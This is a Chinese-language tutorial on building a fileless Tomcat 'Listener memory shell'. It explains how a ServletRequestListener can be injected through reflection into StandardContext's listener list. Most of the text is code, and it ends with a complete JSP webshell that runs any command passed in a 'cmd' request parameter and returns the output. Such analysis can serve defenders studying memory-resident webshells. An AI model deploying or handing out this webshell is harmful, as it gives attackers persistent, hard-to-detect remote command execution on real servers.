和 Filter 内存马相似,都是在程序执行前要执行的部分中添加马(或者说动态注册恶意方法),只不过这个是加载 Listener 中而达到文件不落地并执行命令的目的。
Listener主要分为以下三个大类:
- ServletContext监听(服务器的启动跟停止时触发)
- Session监听(Session的建立跟销毁时触发)
- Request监听(访问服务时触发)
然后就是要想办法创建一个合适的 Listener,并获取到本次请求的 request 对象。
这里用到的是 ServletRequestListener,接收的参数类型是 ServletRequestEvent
demo:
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
@WebListener
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("DONE!!!");
}
}
找一下 ServletRequestEvent 中能不能获取到 request,发现 getServletRequest
其中的 request 属性中有我们需要 Request,可以之间反射获取。
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
找到地方添加恶意逻辑了,下一步就是如何注册这个 Listener。
先看一下 Listener 的注册流程,首先进入 StandardContext#listenerStart
拿到了 Listener 的名字
然后遍历 listeners 数组,实例化 Listener 并把返回结果放到 results 中
注意这里是先用 getApplicationEventListeners 获取 applicationEventListenersList(即已注册的 Listener),然后调用 setApplicationEventListeners,在 setApplicationEventListeners 中先清空了 applicationEventListenersList,然后重新传入。
Listener 已经注册好了,在命令执行部分打个断点跟一下调用栈
调用的 Listener 来自 this.getApplicationEventListeners()
所以我们的内存马只需要添加到这个数组里面就可以了。
先获取 StandardContext 对象
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
调用 getApplicationEventListeners 将 applicationEventListenersList ,然后添加恶意的 listener
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
最后的马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField =
applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>
参考文献: